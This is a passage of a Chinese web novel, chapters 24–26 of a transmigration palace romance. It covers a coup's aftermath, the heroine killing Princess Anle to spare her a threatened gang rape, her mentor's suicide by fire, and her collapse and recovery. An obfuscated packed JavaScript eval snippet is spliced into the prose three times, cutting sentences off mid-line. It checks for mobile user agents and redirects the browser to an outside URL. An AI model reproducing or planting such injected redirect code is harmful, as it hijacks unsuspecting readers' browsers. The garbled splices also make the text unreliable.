;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周广郎正跟在我身后喊着:“急什么,你慢些走。”正说着一眼瞥见几尺之外的相王,又急忙走过去行拱手礼。 “殿下。” 相王微微颔首,正欲说什么,一抬头看见我也在此处,忽地脸色微变:“不是叫你送今禾姑娘回世子府吗?” 我赶在周广郎请罪之前,上前一步道:“是民女自己逼着周校尉带我进来的,王爷若要责罚就请……” “行了。”相王语气淡淡道:“也不是什么大事,来了就来了。” 说着叫了一声:“周广郎。” “末将在。” “此事牵扯众多,郑将军怕是忙不过来,你去协他问审,将功补过吧。” 周广郎闻言差点没兴奋到跳起来,正要转身,只听相王又道:“哦对了,待诸事了毕,只管到凌安王世子府拿赏银就是。” 周广郎不解,丈二的和尚摸不着头脑:“殿下此话何解?属下这……到底是有功还是有罪啊?” 相王难得露出个笑容来,负着手“咳”了一声,意有所指地看了我一眼:“护今禾姑娘无虞,在世子那里,你自然是有功的,而且还是一等功。” “……”我眼角一抽。 系统蹲在我肩头哈哈大笑:“哈哈哈,磕CP这种事,果然不管现代还是古代,君王还是牛马,人人都很热衷啊。” 那头周广郎憨憨笑道:“殿下此话当真?” “你何时见过本王胡扯?” 周广郎抱拳说了句“殿下恕罪”,便兴高采烈一溜烟跑了。 接着又来了几波人杂七杂八地汇报各处进程,待他们全得了指示离去,我这才有机会开口向相王打听李怀远的下落。 “王爷可知世子现在何处?” 相王握着近侍递来的折子一顿,想了想道:“怀远他……” 我心一提。 只是他话音还未落,背后突然传来一道清冽又熟悉的声音。 那声音跨过几里寒风,盖过近在咫尺的相王声音,越过宫墙内外所有喧嚷嘈杂的各路音色,直击我耳。 “沈今禾!”有人叫道。 24.第 24 章 短短三个字,便将我一直揪在悬崖边悬空的心脏瞬间拉回了原位,我从未觉得沈今禾这个名字如此动听过。 五脏六腑都有了血色,我知道只需转个身,就能看见李怀远还安然无恙地活着。 系统拍拍胸脯舒了一口气:“太好了,还好李怀远没死,要不然你的任务就完不成了!” 原来如此。我如此担忧李怀远的安危,一定就是这个原因吧。 此刻,李怀远站在蓬莱殿门外,檀木作梁的檐角之下,犹如庄严肃穆的铜铃岿然不动,我隔着金漆红柱望去,今夜无月,盏盏宫灯也没能将他照亮。 我下意识走进了一些,这才看清他的脸庞。 他脸色冷白如玉,挺拔高耸的鼻梁上沾着血迹,墨发垂下了几绺,右臂处扎着块白布,鲜血从内衬渗了出来,将绷带和衣袖都染红了一大片。 袖口之下,骨节分明的手上全是一道又一道的伤痕,指甲里全是黑红黑红结了痂的血迹。 我心里一揪。 他却丝毫不以为意,身姿挺立,站如松柏,身后的碧树琼林在他面前仿佛都失了色。登上玉宇琼阶,我虚虚盖住住眸底的担忧之色,故作轻松笑道: “世子真不愧为我大郅……” 拍须溜马的话还没说到一半,蓦地就被一个宽厚敦实的掌臂圈入怀中,那力道似是汹涌又十分克制,冰凉的身躯将我紧紧包围。 他俯身,温热的唇覆上我的唇瓣,明明只有一瞬,却仿佛炽热了万年。李怀远的下颌抵在我的头顶,我能感觉到他闭着眼轻轻在笑。 他身上的雪松香很淡,被周遭的血腥味充斥着几乎察觉不到,铠甲之下的衣袍也破破烂烂的,我就这样被他一动不动地拥在怀中。 玉阶之下人来人往,不管谁走过都要往上面瞥一两眼,明明是天寒地冻的隆冬,我脸上却渐渐发起烫来。 “世子,您没事吧?” 干得有些开裂的嘴唇在他颈间有意无意地摩挲着,由于距离太近,说话时我口中的热气喷在他喉间,他喉结一痒,这才将我放开。 李怀远的唇色比我的还要白上几分,眼尾却通红通红的,死死地盯着我,又叫了一声:“沈今禾。” “我在呢,世子。” “骗子。” 我一愣,旋即又想起来曾经给他承诺过的那句“如果遇上危险,一定第一个跑掉”,于是讪讪道:“属下这不是全须全尾地回来了嘛。” “相王说你差点死了。” “……”我随着李怀远的目光往不远处瞄了一眼,只见相王摸摸鼻头,看热闹不嫌事大的说了句:“不用谢。” “他说你传完话就晕厥了,现下生死未卜。”李怀远皱着眉头道。 我闻言差点真晕过去,相王未来可是要荣登大顶的九五之尊,这么喜欢看人家热闹真的合适吗?! 两人一阵沉默,我真不知道该说些什么好,总不能指着相王的鼻子上蹿下跳:“他骗人,他不安好心。” 只能闷闷地说起违心话:“对不起,给您添麻烦了。” “我不是这个意思。”李怀远蹙眉,用指腹按了按额角的青筋,也不知是伤口疼的还是人累倦的。 我正要说话,却听他道:“你没有添麻烦。” 似是怕我不信,又重复了一遍:“没有添麻烦,你很厉害,上京城再找不到比你更厉害的姑娘了。” 我被这话砸得有些晕头转向,定定地立了半晌,等回过神来才发现眸中早已蓄了浅浅一层水雾。 十八年来,我从未想过会有一天,星沉月落,风起林动,有人会在玉石筑成的长路尽头,众目睽睽之下,毫不避讳地朝着我道,上京城再找不到比你更厉害的姑娘了。 我很难描绘这一刻的心绪究竟是怎样的,凌乱的,滚烫的,得意的,愧疚的…… 五味杂陈。 这时,李怀远率先打破了沉默的氛围,将我打量了一圈道:“有没有哪里受伤?” 我只是传个话,又不跟人兵戈折戟地对决,怎么会受伤,不过被他这么一说,我倒是想起他右臂的伤口来,忙道: “您肩上的伤不要紧吧?”那条裹伤的白布已呈血色,十分骇人。 李怀远正要摇头,突然不知从哪儿传来一阵颇有些埋怨意味的声音。 “世子,您怎么又跑了!” 紧接着从后殿走出个有些面熟的医官,应是我在世子府见过几次的那位,医官后面还跟着眉头微拧的陵光。 见他伤口又在渗血,那医官气得直跺脚,将药箱往殿内的玉案上重重一放,朝门外的李怀远道:“世子若是不想要右臂了,就尽管折腾吧。” 为医者自是最讨厌不遵医嘱自以为是的人,很显然,李怀远首当其冲。 陵光向来不会劝人,只一言不发地跨过门槛将医箱打开,取出包扎的棉布和一堆止血的药膏,恭敬道:“就请杜医官再替世子包扎一回吧。” “包了三回,裂了三回,老夫是力不从心了。”杜医官吹胡子瞪眼道。 陵光在一旁好言相劝。 寒露重重,东边逐渐泛起一丝白光,不知不觉天都要亮了,也不知道他这血淋淋的伤口疼了几个时辰了,我抬了抬嘴,终是没忍住劝慰。 “外头的事自有相王顾着,您还是治疗伤口要紧,总不能真不要手臂了,当独臂侠能有什么威风的?” 李怀远白了我一眼:“你这是在劝人吗?” 我从善如流地笑道:“自古忠言逆耳,谗言似蜜。” 他朝我走近了一步,抬了抬手,我眨眨眼看他。李怀远的手停在我头顶上空,笑道:“现在怎么不躲了?” 我想起刚进世子府那会儿,他欲剥下落在我发髻上的花瓣,我下意识便躲,如今他亲手摘着缠在我发隙里的枯水草,而我却再也躲不开了。 只是安静地站着笑。 李怀远边摘水草边道:“傻笑什么?” “不知道,就想笑笑。” “护城河里的水很冷吧?”他揉了揉我的脑袋,我正想说别摸,头发在水里泡过很脏,复一想,他的手也没干净到哪里去。 算了,谁也别嫌弃谁。 李怀远温声道:“我让陵光先送你回府,左右这里也没什么要紧事了,你到药房取些泡澡用的药膳,去一去身上的寒气,再煮些姜汤来喝……” 我不知道他什么时候变得这么絮絮叨叨了,不过也没敢打岔,听罢只连连点头。 陵光已然说通了医官,一见李怀远语毕,连忙请他入殿坐下,解开旧的白布条扔的远远的,然后扯了我的袖口往外拉,边拉边关殿门,生怕他家世子又跑不见人影。 我与陵光一前一后走在出宫的路上,道路两旁的瑶花奇草灰败地耷拉着脑袋,广德门附近那座高耸的殿宇尽数化为灰烬,昔日的琳宇金阙一夜之间都作了土。 沿着昏黄的宫灯一路看过去,依稀能看见凤栖宫被南衙禁军团团围住,玉阶之上的雕花窗棱映出一个模糊的影子。 皇后这一生都让人很难评价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323714|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说是枭雄有些抬举她了,说是妖后又委实冤枉了她,说是功过相抵吧,也总觉得不是这么回事。 罢了,是非功过皆由后人去说。 正想着,眼前突然出现了一处废旧的宫殿,宫门半掩,门上面的朱漆掉了大半,露出斑驳的原貌,檐下吊着一张干瘪的蜘蛛网。 在这深深宫邸,晨雾缭绕时分,竟有几分阴森和诡异。 陵光都走过去了,见我矗立不动又绕了回来:“走啊,杵到这儿干嘛?” 我比了个“噤声”的手势,指了指宫墙内。 他脸色倏地一变,手握在剑柄上挡在我身前,凝神聚力,顺着门缝向内看去,然后不出意外地,也看到了我刚才看见的那一幕。 皇后兵败之后,禁军与相王的军队,还有见风使舵前来救驾的府兵,都在皇宫内外搜查谋逆的残党,很不巧,安乐应该是在逃跑的途中被侍卫抓住了。 此时天色还未亮,雾气又很重,看不清抓安乐的是哪一支兵力。 她如今已是阶下之囚,往日尊贵也好,跋扈也罢,皆已不复存在。只见她被几个五大三粗的男人围在一口枯井旁,外裳尽被撕碎,胸前洁白的肌肤裸露了大半。 我乍然回想起来,这是当初她对小壶姐姐私下用刑的地方。 陵光听到殿内那几人肮脏龌龊的言语,微微皱眉:“皇后伏诛,可陛下还在呢,他们怎么敢如此对一国公主?” 陛下大限将至,相王与皇后党势不两立,自然不会保她,世上想要她死的人何其多,他们如何不敢? 我转头问道:“你要救她?” 闻言陵光奇怪地看了我一眼,仿佛不理解我为什么要说这样的话,不解道:“我为什么要救她?把她救出来干嘛,继续害人吗?” 我眉眼一舒,见他用胳膊肘推了推我,面色不悦道:“虽不会救她,但我也没兴趣看这肮脏的一幕,你走不走,不走我先走了。” 我正在想事情,闻言对他点头:“好,你去宫门口候着我。” 陵光深吸一口气,到底是没走,而是远远地躲到了一棵树下,眼不见为净。 安乐此时倚靠的那个枯井爬满了干枯的藤蔓,早已不见经年血痕,她自己也不会记得,曾经在这里杖死过一个十二三岁大的奴婢。 小壶是谁?她有没有在这世上活过?没有人会在意。 我站在院外的门口,与他们一墙之隔,如同一块不会说话的冰凉宫砖,静默地看着这一切发生。 “啪”地一声,其中一人一巴掌抽在安乐脸上,抽得她嘴角溢出缕缕血丝,就像她当初打自己的贴身侍女那般。 “贱蹄子,今天落到爷儿几个的手里,就别想痛快地死。”那人嘴里咕哝着脏话。 “把她关进柴房,叫上兄弟们弄点药,轮番给老子上,我看她还会不会像往日那般嚣张……” 安乐死气沉沉的眼眶里突然布满了惊恐,跪下来连连磕头:“求求你们,求求你们,放了我吧,待我出去,定将公主府悉数珠宝拱手相让,我、我的钱财……可供你们子孙数代享乐不尽。” 一个脸上横亘着条刀疤的男人,“呸”地啐了一口,面目狰狞道: “哈哈哈,子孙数代?你一个人的俸禄可抵我子孙数代的开销?你既说出了口,还叫我怎么饶得了你!” 安乐瞳孔不由缩小,早已满面泪痕,绝望地哭喊着:“真的,我、我有成堆的金银绮罗,就在公主府的府库中,你们难道不想过上荣华富贵的日子,不想绵延后代吗?” 25.第 25 章 刀疤男人一把抓住安乐的衣襟,眼中充满浑浊的欲色: “没听过牡丹花下死,做鬼也风流吗?你虽是个人人喊打的贱人,配不上牡丹国色这样的称呼,但好歹也是个公主,哥几个还没尝过rou*公主是个什么滋味……” 听着那些污秽又粗鄙不堪的话语,我在心里告诉自己,别管她,这是她活该,是她应得的!她就应该这样被羞辱致死! 可同样身为女子,在见识过这个时代毫无话语权的女性随时可能沦为享乐玩物后,在千百年来女性被物化被不公正地对待的悲凉底色下,此刻再去听安乐撕心裂肺的叫喊声,简直头痛欲裂。 我可以接受他们用严刑酷吏折磨安乐致死,却不能眼睁睁看着一个女子受辱而去。 两种截然不同的声音在我脑海里一起叫嚣着,我终是没能忍下心来,从袖中取下李怀远给我防身用的袖箭…… 隔着门缝,不偏不倚地直直射去。 安乐死前愕然地睁大了眼睛望向门后,仿佛难以置信真的有人敢杀她,她的鲜血“噗”地喷了一地,嘴里无声念叨着什么,随后倒地而亡。 “相王驾到!”我捏着鼻子学着宫人的语气高声喝道,那些士兵见状一哄而散。 周遭突然安静了下来,静得有些可怕,连枯井上空那只久久盘旋的乌鸦都飞走了。 迷雾散去,我推开宫门,踩着地上沙沙作响的枯叶走到她跟前,用力拔出插在她胸前的箭矢,扔进了井里。 曾经我恨不得将她千刀万剐,如今却给了她一个痛快。有一瞬间我甚至分不清,我到底是杀了她,还是救了她。 明明早就见惯了生死杀戮,可我还是颤抖着双手,闭了闭眼,在心里道: “下辈子别再作孽了,安乐。” 从殿内出来时,树下已经没有了陵光的身影,我偷偷呼了口气,原本还正绞尽脑汁地想该如何让他替我保密。 四下打量了一番,才看见他在更远处靠近宫门口的地方朝我挥手。 我不知道他是想耳根清静些故而退到了远处,还是因为看见我动手,为明哲保身故意走远,或是为了别的什么而离去。 总之他见我前来,神色并没有什么异常,也一个字都没有提方才的事。 陵光这个人惯来不爱说话,我不知道他心里在想些什么,也不能直接去问,所以 还是和他保持着先前的队形,一前一后地走着。 东方之际泛白,晨露熹微。 坊间本该属于破晓时分的热闹,今日却无半点迹象,街上冷冷清清,偌大的东西两市想找个热气腾腾的包子都是难事。 家家户户闭门不出,只有巡城营的人在街巷间走动,还好昨夜兵戎主要集中在皇宫,甚少波及上京城的坊市及无辜百姓。 行至崇德大街,系统正蹲在我肩头,心有余悸地复述昨夜何等何等凶险,我正待回话,余光兀地瞥见一支禁军正查封谋逆罪臣的府邸。 登时神情一凛,瞳孔骤然紧缩。糟了,先生还在公主府上! 系统见我脸色不对,疑惑道:“你怎么了?” 我突然停住,像被钉在了原地,短促地呼了几口气,牙关止不住地打颤:“先生……我怎么能把先生忘了……” 陵光回过身,眼疾手快地扶了我一把,才使我免于栽倒在地:“脸色怎么这么难看,不要紧吧?” 我摇摇头。 安乐好歹贵为一国公主,他们尚敢如此羞辱,何况是没有家世背景的驸马,我心跳得厉害,不安地情绪堵在胸腔里,逐渐蔓延全身。 待反应上来,身体已经调转方向朝玉銮街跑去了。 陵光在后面喊道:“你要去哪里?” 我已无暇回应。这一夜之间发生了太多事情,多到几乎让人无法承受,我一晚上都在极力保持清醒,告诉自己要稳住心神,要适应,可脑袋里思绪又乱又杂,从护城河爬上岸后又吹了寒风,脑袋懵懵怔怔的,全凭最后一点意志扛着。 此时脚步虚空,走着走着腿竟然有些发软,越是临近玉銮街,脚下越是像灌了铅一般沉重。 我听见自己的声音飘荡在晨雾将散的寒风中,竟是有些颤抖。 “我从来都没留意过,这本书里有没有关于先生的只言片语。”我看向系统:“你能不能帮我在本书中搜索一个……叫王昱的人?” 系统默默点头,没过多久屏幕就显示出来几段文字。 我加快了步伐往前面走,只听系统在我耳旁念道: 【夜宴正酣,三皇子一时兴起,问身边谋士:“听说郅国有个叫王昱的人,才望高雅,先生以为可否纳入本王麾下?”】 【那谋士略微讶异:“殿下竟不知吗?此人前段时日死在了大郅公主府。”】 脚步一顿,我抬头望向街对面写着“公主府”的御赐华丽匾额。此时禁军正在查封此处,皇后作为谋逆主谋,公主府自然连坐,一应奴仆或是发卖,或是打入掖庭。 这时陵光终于追了上来,微微喘着气不解道:“你来这里做什么?” 我拿着李怀远之前给我的令牌,踉踉跄跄地进了公主府,穿过亭台水榭,往湖水后面的小院而去,这条路我统共走了三次,每一次的心情都不尽相同。 天还没大亮就倏地暗了下来,雾蒙蒙的,叫人十分压抑。霜叶稀稀拉拉,越往深处走,寒意就越浓。 系统还在我耳边念着原文。 【三皇子听罢十分惊讶:“死了?怎么死的?”】 【那谋士道:“据说是放了把火,将自己烧得干干净净。”】 我身体猛地一震,眼前视线愈发模糊,仿若有一团拨不开散不尽的云雾压在眉心,挡住了我的去路,不知怎的突然脚下一空,身体失去了平衡,重重地摔在了地上。 陵光怕是吓疯了,向来都冷冰冰的脸上难得露出了担忧的神色,只见他逮住个路过的禁军说了句什么,那人便急匆匆地跑了出去。 系统抿着嘴不敢说话,我狼狈地爬起来,拍落身上的土,一步步走到湖边的芦苇丛旁,眼神呆滞:“还有吗?” 眼前是烧得焦黑难辨的院落,同广德门那座殿宇一般,顷刻间都化作了土。 系统闭而不语,干脆直接隐匿了那张卡通脸蛋,悬空的屏幕上是它搜索出来的最后一句话。 【谋士惋惜道:“唉,生不逢时啊,听闻郅国负责编年的史官只提了一句:王昱,字问之,嘉建年间安乐公主驸马。关于三甲进士的事,倒是只字不提,怕是因为外面还在盛传他攀附公主、贿赂主考官的事吧。】 【三皇子亦是哀叹:“才子薄命,可惜了。”】 后来我才知道,这几年来,他轻生过很多次,无奈被侍卫严加看管,求生不能,求死不得。 “按现代医学的说法,他这是抑郁症吧。”系统叹了一口气。 心像是被大风刮了个窟窿,寒风争先恐后地往进拥,犹如密密麻麻地细针,一根一根地扎遍五脏六腑。 我不知道他是不是真的得了这个病,但世人只云,一个大男人整天寻死觅活的,丢不丢人?愧不愧对祖先? 他们绝口不提坏人如何作恶,只要求好人如何坚如磐石。 他不堪受辱而死,他们还要说上一句,王昱这个人,就是心志不坚,亦不精官场之道,所以难成大事。 岂知万般皆是命,半点不由人。 那年玄衣入仕,傲立君前,肃肃如松下风,他又何曾不想在自己所在的时代施展抱负,谁料一道圣旨落下,皇命难违,安乐又以舍人几十学生性命相逼,他能怎么办!能往哪里逃! 普天之下莫非王土,究竟要逃去哪里,才能算作一片净土。 王昱是嘉建八年的新科进士,可他至死,也没能去得了他的蓬莱。他一身儒气孤独而来,被束缚了大半辈子,如今一把大火烧了躯体,终得脱下这身文人风骨,还于天地。 我不求别的,只盼着他在六道轮回之时,永远也不要再遇见肮脏之人。 忽而一片雪瓣从空中飘落,冰冰凉凉地落在我掌心,系统死死捂住屏幕中央不让我瞧,我一怔,末了倒是笑了出来:“别藏了,我都看见了。” 是的,就在刚刚,遥远的异世传来一条消息。 “罪者您好,经多方核查,已确认私自登录您穿书ID的人, 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“什么?”我的声音轻地像一层薄冰,仿佛轻轻一碾就能碎成残渣。 系统此刻的承受能力并没有比我强到哪里去,只见它又惊又怒地骂道: “我c!什么傻*玩意儿!这不是耍人玩吗!就因为几句吐槽至于遭如此重的惩罚吗?这件事你别管了,我来给总系统申请,用我的内部特权,用我这些年的所有积蓄……” 说着说着哭腔更甚了:“你放心,我、我我砸锅卖铁也要让你回去,这破任务我们不做了,好不好?” 外界的风雪声突然离我很遥远,我有些累地躺在湖边的干草上,眼神涣散,只喃喃道:“我刚才没听清,是叫我刺杀谁呢?” 系统崩溃大哭。 灰蒙蒙的天空上压着大片大片地黑云,我仰头凝视,只觉得它像吃人的深渊。雪越下越大,星星点点,密密麻麻,落在我的发髻,眉间,落了我一身清白。 风声像野兽般嘶吼着,我却听得不甚分明。 有人要急急地扶我起身,我听不清他在说什么,费了半天劲才看清楚他的面庞。“原来是陵光啊。”我笑笑道:“你别扶我起来,我有些累了,让我躺一会儿吧。” 他大声朝我喊着什么,虽然我听不见,可还是想让他安静下来,年纪轻轻的,这么暴躁干什么。 还没来得及开口,就见远处有一抹高大的俊影向我奔来。兴许是他嗓门太大了,我若有若无地听见一声: “沈今禾!你又发的什么疯!” 谁啊,是谁总爱说我是个疯子来着……直到温暖的狐裘将我包裹起来,一股熟悉的清冽的雪松香传来,我这才想起来,是李怀远。 他拂去我满身寒白,将我打横抱起,走在肆虐的风雪之中。 “你就这么看重他?!”李怀远似乎有些恨铁不成钢:“他死了,你便也不活了是吗!” 不是的,我想摇头,却没什么力气。 只是突然感觉好累好累,想让人生暂时停下来,不想思考,也不想呼吸。 十年恩师重如家兄,我在这个世界上不是亲人却胜似亲人的家人死了,而原世界里唯一活着的至亲之人却要杀我,我究竟做了什么十恶不赦的事,如今连穿书任务也来欺我。 说到底李怀远待我不薄,我处处算计他已是心中有愧,现在又该如何撇开恩义,对他痛下杀手?他不是我人生道路上的一具骷髅工具,是这个世界里活生生的人啊! 大雪数丈,将我血骨一寸一寸吞噬。 我费力地朝李怀远莞尔一笑:“你听说过压死骆驼的最后一根稻草吗?” 他没什么好气道:“没有。” “把我放下来吧,其实被压死了也没什么不好。”至少不用再受命运的摆布。 “不放。” 额间隐隐发烫,意识逐渐开始混沌,我无意识地抓着李怀远的衣襟,终是昏昏沉沉地晕了过去。 晕之前我想,如果这世上真有神明,我愿日日拢合双掌,一伏一叩拜佛前,求谒古刹梵音,为我指一条明路。 26.第 26 章 凌安王世子府的飞琼阁里,檐下已是大雪如尘。 往来医者络绎不绝,稀世奇药不计其数地往里面送,此时,宫里一位姓郑的御医正扯过袖头擦汗,屋里炭火烧得很旺,饶是隆冬九天,也给他热出了薄薄一层汗来。 他看向端坐在榻边那位金枝玉叶的贵人,大气也不敢出,腊月八日的无月之夜,这位杀神以血开刃,于万千军士中斩杀无数谋逆死士,当时承乾殿外数丈宽的广场上尸横遍野,血流成河。 他一介太医署五品医官,与凌安王世子自是没打过交道的,今日冷不丁被下了拜帖,真真是又受宠若惊又十分惶恐。 “如何?”一道冷冷的声音传来。 郑御医向说话之人行了拱手礼,小心翼翼道:“回世子,从脉象上看,这位姑娘的身体并无大碍,既无外伤也无内亏,即便连着发了两天的高热,可昨夜消了汗,按理说今日也该醒过来了。” 说完并没有着急起身,而是战战兢兢等着上头怒斥一句“庸医”,然后他再抱着药箱连爬带跑地滚下去,姿势好不好看不要紧,能保住小命就行。 岂知凌安王世子不仅没有发怒,还遣了仆役递来个暖手的汤媪,又将自己送到门外,歉声道:“宫中这几日多劳累,又是风雪天,还劳烦先生跑一趟,真是过意不去。” 郑太医连忙道:“应该的,应该的。” 送走了太医,李怀远让陵光亲自去督查着煎药,自己则是心神恍惚地在庭院里走着。 不知走了多久,一抬头,竟不觉间到了那棵硕大的西府海棠下,银装素裹,一层大雪厚厚地压在枝丫上,一直延伸到廊下。 沈今禾平日里最喜欢待在这棵花树下,嘴上说着什么吸花之灵气,实际上每回来都抱着一大摞书,看得比谁都起劲儿。 李怀远觉得,她对自己的爱慕不过也是做做样子罢了,也许只是比对旁人的喜欢多了那么一丁点而已,断然是比不上她对驸马的情意。 正想着,忽而袭来了一阵风,压在树枝上的积雪扑簌簌往下落,倏而,随着那大片的雪白掉下个显眼的红色祈福木牌。 李怀远走过去,拂去上面的残雪,只见祈福牌上端端正正地写着四个大字。 “望世子安。” 是沈今禾的字,他没由来地心底一暖,一时倒也想不起来自己方才因何不快了。 …… 宫变后的第三日亭午,上京城铺天盖地的大雪终于停了下来。 世子府的飞琼阁里传来一道惊喜的呼声,只不过这道扰人清梦的聒噪声旁人根本听不见,唯有榻上微微转醒的沈今禾眉心一皱。 “醒了!你醒了!我没眼花吧,你终于醒过来了呜呜呜……”系统挂在帷帐上方,激动得流下一串泪花。 盯着头顶雕刻祥云的绕金丝梨花榻,沈今禾微微出神。 这一觉她睡得太久了,久到不知今夕何夕,也不怪她不想醒来,只是梦中诸多往事缠绕,非拖着她往更深一层的深渊中走。 前世的事,永州的事,掖庭的事,纷繁交杂,像一个密不透风的茧,将她紧紧裹住,脱不得身。往事种种,犹如黄粱一梦。 良久,沈今禾才回过神,意识到自己好像还活着。 “这是哪里?”几日不进食,发出来的声音沙哑又无力,连她自己都吓了一跳。 系统落在软枕边上,抹了一把眼泪道: “飞琼阁啊,你真是吓死人了,连着晕了三日,一滴水一勺药都灌不进去,还好李怀远想到了办法……他请了好多太医,游医,还有坊间的郎中,偏偏都说你什么事也没有,我都怕你被人夺舍了,你知道吗?” 它叽里呱啦地乱说一通,沈今禾刚醒来反应还有些迟钝,只逮住了“飞琼阁”三个字,顿时心里一惊,脑门立刻清明了起来。 用沙哑的声音重复道:“世子府的飞琼阁?” 系统疑惑,正要说不是世子府的还能是哪里的,就听见外室传来“叩叩叩”几声敲门声,随后门轴“吱嘎”一转,随即又关上了。 荷华端着汤药,撩起内外室中间的帷幔,正要像往常那般,将药放在小几的火炉上温着,冷不丁一抬头,正对上沈今禾那双正轱辘轱辘乱转的大眼睛。 登时无比欣喜:“你醒了!太好了,太好了……” 说着边嘀咕边往外跑,不一会儿再进来,手上就多了个食盘,里面盛了些软糊糊地米粥,还冒着丝丝热气。 “还好你醒了,再不醒,只怕还没病死就已经饿死了。”荷华先扶起沈今禾喝了一小口水,接着送了一口粥塞进她嘴里。 软糯清香的米粥一入腹,沈今禾只觉得自己这才真的活过来了。干裂的唇瓣也恢复了些生气,她又想起系统方才说的话,抓了抓荷华的袖口,略有些脸红道: “我怎么会在、飞琼阁里……” 飞琼,旧时指西王母身边的侍女,后来演变成传说中的九天神女之意,因此历朝大家族的正室夫人院子,惯爱用此名。 世子府的飞琼阁也不例外,这里从一开始就是凌安王妃亲自为未来的世子妃打造而成,芙蓉雕窗,金丝篾帘,墙上的名家字画,以及横亘在屋中央的百鸟朝凤檀木屏风,哪一样都是大手笔。 荷华往炭炉里加了两块香炭,这才转过身笑道:“世子的心思,我可猜不透,你家学渊源博古通今,不如亲自猜猜他究竟是何意?” 屋子里暖烘烘的,本就烤得沈今禾面颊微红,再一听荷华明显揶揄的口气,脸色“咻”一下子红到了脖颈,心道荷华向来端方正经,不同其他人一般口无遮拦,今日也不知是不是因自己醒了着实高兴,连说话都变了调。 于是咳了几声,面不露色道:“要我猜的话,大概就是世子府要拆迁了,此处还没被人享用过实在太可惜了,于是世子赶紧抓个人过来用一用。” 荷华避开她眉间那道疤痕,在眉骨用力一点:“你这张嘴,怪不得世子总说你惯爱胡说八道。” 两人正笑闹着,外面倏忽飘来一道清冷的嗓音,尾调似笑非笑:“胆子可真够大的,人还没下床,就已经盘算着拆我的府邸了?” 紧接着一股寒风裹挟着个紫袍玉冠的贵人进了屋。 荷华“腾”一下从榻上站起身子,给了沈今禾一个“你自求多福”的眼神,便欠了欠身子关门出去了。 李怀远的衣袍上满是寒气,脸上却明显带着喜色,看起来心情很不错的样子,他应该是刚从宫里出来,绛紫色的官服还未褪去,就直接来了飞琼阁。 “世子。”沈今禾干巴巴地叫了一声,便没了下文。 要说方才在荷华面前还能装一装,暂时把糟心事抛掷脑后,可猛一看见李怀远,前几日的记忆便铺天盖地地往脑子里钻,想不记起来都不行。 见她情绪低落,李怀远无声叹息,盯着她头顶的发旋沉吟了片刻。 这几日他也是身心俱疲,一个人掰成好几块用,宫里府上两头跑,陛下趁着一时清醒立了太子,相王入主东宫,一应事务都得紧锣密鼓地操办。 今日商议完要事刚出了宫门,侍奉在马车跟前的小厮就忙不迭说,今禾姑娘醒了,李怀远神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345768|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情一松,急忙赶回府上。 直到看见沈今禾精神还算不错地拿话噎人,至此,压在他心头的那块巨石这彻底才没了。 可她一看见自己,不知道是不是想起了前几日的事,脸色倏地就白了几分,垂着头,睫毛没精打采地扑闪着,像只濒死的白蝶。 李怀远怕过了寒气给她,没敢往跟前凑,转身坐在了窗边的玉案旁,随意地翻开本书:“让你住飞琼阁是因为此地僻静,没什么人走动,养病最适合不过了。” 沈今禾一抬头,略微有些赧然:“再怎么说也有点于礼不合…毕竟是未来世子妃的居所。” 住这里容易睡不着觉,还不如搬回后院。 听罢,李怀远把书一合,背对着她咕哝了句:“谁是世子妃还不一定呢。” 沈今禾耳力还没完全恢复,没听见李怀远说什么,只看见他书还没翻两页,又起身跑去捉弄釉底青花瓷瓶里插着的那支红梅了。 遂追问:“您说什么?” “自然是说,你现在也算是平叛谋逆的有功之臣,深得太子看重,我怎么敢怠慢你,定要吃穿用度都给你最好的。何况太子领国,已拟好了旨要嘉奖你。” “真的?”眸底一亮,沈今禾忽略了李怀远前半句里的阴阳怪气,只“嘉奖”二字的余音在头顶来回盘旋。 她料想过相王若有一天登上高位,依他善拢贤才的秉性,也许求个不起眼的小官不是难事,却没想到好事竟来得这么快。 见她眼中重新布满星星点点的光,李怀远松了口气,与她细说了些入宫谒见的细节,沈今禾虽然在宫里待了十几年,可毕竟从未进过前堂,连御书房也不曾去过,臣工们的礼节她自然是不懂的。 此刻听李怀远娓娓道来,只连连点头,连着精神也好了几分。 她着实没想到,平日里看起来什么事都不放在心上的世子,心思也有如此细腻的时候。 李怀远却没想那么多,他只是想着说说旁的什么,能避一避她满腹的伤心事。见她仰着头猛地灌了一大碗药,脸上也逐渐有了血气,他这才暗暗放下心来。 那日在公主府的芦苇丛边,大雪肆虐狂舞,沈今禾就那么孤零零地躺在雪地上,仿佛要与天地融为一体。 他将她用狐裘裹紧抱起来时,才发现怀中之人身形单薄,不足一握。平日里沈今禾总是眼里泛着光,读书也用力,做事也用力,让人觉得朝气蓬勃得不像话,却忽略了她也只是个十八岁的娇小姑娘。 